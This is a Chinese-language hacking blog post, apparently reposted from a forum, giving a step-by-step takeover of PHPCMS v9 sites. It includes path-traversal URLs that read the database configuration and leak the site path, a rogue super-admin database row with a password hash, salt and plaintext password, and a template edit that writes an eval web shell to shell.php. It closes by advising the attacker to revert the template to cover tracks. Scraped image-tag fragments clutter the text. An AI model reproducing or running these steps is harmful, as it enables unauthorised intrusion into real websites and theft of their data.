標籤:phpcms
http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/configs/database.php
成功讀取資料庫資訊如下:
650) this.width=650;" id="aimg_37214" src="http://sb.f4ck.org/data/attachment/forum/201406/21/002650azq2g2ag33bdaj6u.png" class="zoom" width="600" alt="002650azq2g2ag33bdaj6u.png" />
爆網站路徑:
http://www.xx.com/index.php?m=search&c=index&a=public_get_suggest_keyword&url=asdf&q=..\/..\/caches/error_log.php
650) this.width=650;" id="aimg_37216" src="http://sb.f4ck.org/data/attachment/forum/201406/21/002700f06ozzf9p40tu0y0.png" class="zoom" width="600" style="color:rgb(85,85,85);font-family:‘Microsoft Yahei‘, Tahoma, Helvetica, SimSun, sans-serif;font-size:14px;line-height:21px;white-space:normal;background-color:rgb(255,255,255);" alt="002700f06ozzf9p40tu0y0.png" />
開啟phpcmsV9資料庫並且找到admin表,向表中添加一條資料,因為我們沒法破解他的密碼那麼咱們就自己
添加一個使用者以便能夠登入後台操作:
Username:admin password: 748b4dfa3a7159c1eb1baa46f222f9b8 roleid:1 encrypt:C6mB9p
注意這幾項必須添負責登入不了的。應為這條記錄的意思是添加使用者名稱為admin,密碼為:creturn.com的超級管理員
650) this.width=650;" id="aimg_6883" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111108pqyj89trq8pz2g9t.jpg" class="zoom" width="465" alt="111108pqyj89trq8pz2g9t.jpg" />
後台登入地址:localhost/index.php?m=admin
使用者名稱:admin 密碼:creturn.com
登入後台後我們找到介面-》模版風格-》選擇預設模版點擊詳情列表
650) this.width=650;" id="aimg_6884" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109v2100v7l0avcuksj.jpg" class="zoom" width="600" alt="111109v2100v7l0avcuksj.jpg" />
然後點擊裡面的search目錄下面的index.html右側的編輯
650) this.width=650;" id="aimg_6885" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109cyzai11ffiizifia.jpg" class="zoom" width="600" alt="111109cyzai11ffiizifia.jpg" />
修改其模版為:
<?php $shell = ‘<?php @eval($_POST[cmd]);?>‘;file_put_contents(‘shell.php‘,$shell);?>
複製代碼
提交儲存
然後訪問:localhost/index.php?m=search
會在根目錄產生一個shell.php的一句話,我們串連看看
650) this.width=650;" id="aimg_6886" src="http://sb.f4ck.org/data/attachment/forum/201207/29/111109sl5lkox5b8l8d5o7.jpg" class="zoom" width="600" alt="111109sl5lkox5b8l8d5o7.jpg" />
可以看到已經拿到shell,記得把修改的模版改回去。
或者可以直接通過mysql資料庫及爆出的路徑寫一句話
本文出自 “0daysec” 部落格,請務必保留此出處http://0daysec.blog.51cto.com/9327043/1571395
phpcmsv9.15以下任意檔案讀取漏洞